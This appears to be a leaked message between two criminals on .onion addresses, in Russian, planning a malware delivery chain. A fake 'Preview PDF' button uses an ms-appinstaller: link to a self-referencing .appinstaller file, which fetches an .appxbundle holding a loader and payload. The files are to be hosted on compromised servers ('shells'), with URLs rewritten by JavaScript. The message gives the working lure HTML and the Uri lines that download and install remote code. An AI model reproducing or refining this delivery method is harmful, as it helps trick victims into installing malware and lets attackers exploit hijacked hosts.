  "from": "best@q3mcco35auwcstmt.onion",
  "to": "veron@q3mcco35auwcstmt.onion",
  "body": "смотри, я тебе скажу маленькую проблемку, а ты скажешь можешь ли ее
решить)\n\ntут 3 части\nhtml, appxinstaller и appxbundle\nмой лоадер и твоя
нагрузка грузится в appxbundle файле, но чтобы его запустить вот так красиво, нужен
appinstaller файл\nи чтобы appinstaller понимал, какой appxbundle (откуда) ей
подгружать, внутри этого appinstaller файла есть такая
строка:\nUri=\"https://srcdatastorage.z13.web.core.windows.net/jajnedhneb.appxbundl
e\" />\nэто ссылка статичная (то есть нельзя php скрипт вставить, который бы отдавал
этот файл, должно ссылаться именно на appxbundle по расширению файла)\n\на так же
там есть такая ссылка (в appinstaller
файле):\nUri=\"https://srcdatastorage.z13.web.core.windows.net/jajnedhneb.appinstall
er\"\nздесь appinstaller ссылается сам на себя (потому что он в вебе должен лежать
точно, чтобы прогружаться)\n\nну сам html файл, внутри которого такая кнопка:\n<a
href=\"ms-appinstaller:?source=https://srcdatastorage.z13.web.core.windows.net/jajne
dhneb.appinstaller\" id=\"btn\" target=\"_self\">Preview PDF</a>\n\nКак видишь,
appinstaller ссылается сам на себя и на appxbundle файл, а html файл только на
appinstaller файл\n\nТак вот, я хотел хостить на шеллах все, но есть небольшая
проблема: динамично в html я могу получить текущую url по которому открылся html
файл (например https://shell.com/index.html)\nи если рядом с ним положить
appinstaller файл, я могу через JS просто взять текущий урл, обрезать его подставить
в конец appinstaller файл и на него ссылается\nпоэтому первый вопрос решился\n\nно
appinstaller должен ссылаться на appxbundle файл и на сам себя, поэтому в нем самом
тоже нужно поменять ссылки"
